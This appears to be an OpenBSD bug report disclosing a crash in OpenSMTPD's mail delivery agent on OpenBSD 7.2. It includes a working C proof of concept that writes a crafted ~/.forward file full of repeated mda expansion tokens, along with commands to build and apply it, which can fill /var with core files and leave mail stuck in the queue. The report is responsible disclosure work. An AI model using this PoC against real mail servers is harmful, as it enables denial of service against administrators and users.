>Synopsis:      segmentation fault in opensmtpd mda
>Category:      system
>Environment:
        System      : OpenBSD 7.2
        Details     : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
                         
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

        Architecture: OpenBSD.arm64
        Machine     : arm64
>Description:
        I would have waited another week after contacting Gilles at his address
and at his openbsd.org address last week, but we're out of -beta and I'd like 
to see this addressed before release.  It may already be too late though.  
I've found a way to crash the mda that is forked from opensmtpd before the 
exec.  It is a specially crafted .forward file that does this.  In the worst
case scenario it will fill up /var with smtpd.core's when the 
kern.nosuidcoredump sysctl is set to 3.  The queue files are stuck in queue 
and have to be removed either with smtpctl remove or until they time out.
A lot of these could fill /var with corefiles quicker.
>How-To-Repeat:
        Here is the "exploit" code that I stuck into my .forward, I also gave
this to Gilles.

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>

#define FBUF (4 * 1024)

int
main(void)
{
        char buf[FBUF];
        char *p = &buf[0];

        memset(&buf, '/', sizeof(buf)); 

        for (int j = 0; j < 3; j++) {
                for (int i = 0; i < 8; i++) {
                        if (i == 0) {
                                memcpy(p, "\"|", 2);
                                p += 2;
                        }
        
                        if (i == 7) {
                                memcpy(p, "%{mda[0:125]:raw|", 17);
                                p += 125;
                        } else {
                                memcpy(p, "%{mda[0:127]:raw|", 17);
                                p += 127;
                        }
                        *p++ = '}';
                }

                *p++ = '"';
                if (j == 0) break;
                *p++ = ',';
        }
        
        write(STDOUT_FILENO, buf, p - buf);
        exit (0);
}

You would apply this with cc -g -o makeforward makeforward.c and then fill the
.forward with ./makeforward > ~/.forward

>>> Please do not try this out on your account, make a test account <<<
>Fix:
        I think some struct envelopes need to be memset to 0's (zeroized).  But
where exactly that is I don't know.


dmesg:
see earlier messages

Reply via email to